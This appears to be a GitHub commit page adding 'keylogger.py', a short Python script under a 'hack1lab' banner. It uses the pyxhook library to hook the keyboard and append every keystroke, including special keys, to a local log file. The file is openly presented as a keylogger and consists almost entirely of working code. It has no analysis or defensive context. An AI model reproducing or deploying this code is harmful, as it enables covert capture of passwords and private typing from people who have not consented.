Skip to content

Commit d225b8c

Browse files
author
mohamed larit
authored
Add files via upload
1 parent d8d0bd1 commit d225b8c

File tree

1 file changed

+43
-0
lines changed

1 file changed

+43
-0
lines changed

keylogger.py

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
#!/usr/bin/env python
2+
3+
import pyxhook
4+
5+
6+
"""
7+
*--------------------------------------*
8+
| programmed by : mohamed |
9+
| fb.me/hack1lab |
10+
*--------------------------------------*
11+
_ _ _ _
12+
| |__ __ _ ___| | _| | __ _| |__
13+
| '_ \ / _` |/ __| |/ / |/ _` | '_ \
14+
| | | | (_| | (__| <| | (_| | |_) |
15+
|_| |_|\__,_|\___|_|\_\_|\__,_|_.__/
16+
17+
Keylogger
18+
-----------
19+
20+
"""
21+
22+
23+
24+
log_file='/home/pen-test/txt_files/file.log'
25+
26+
def keypress(event):
27+
log=open(log_file,'a')
28+
if event.Key == 'space':
29+
log.write(' ')
30+
elif event.Key == 'Return':
31+
log.write('\n')
32+
elif len(event.Key) != 1:
33+
log.write('[ '+event.Key+' ]')
34+
else:
35+
log.write(event.Key)
36+
37+
key=pyxhook.HookManager()
38+
39+
key.KeyDown=keypress
40+
41+
key.HookKeyboard()
42+
43+
key.start()

0 commit comments

Comments
 (0)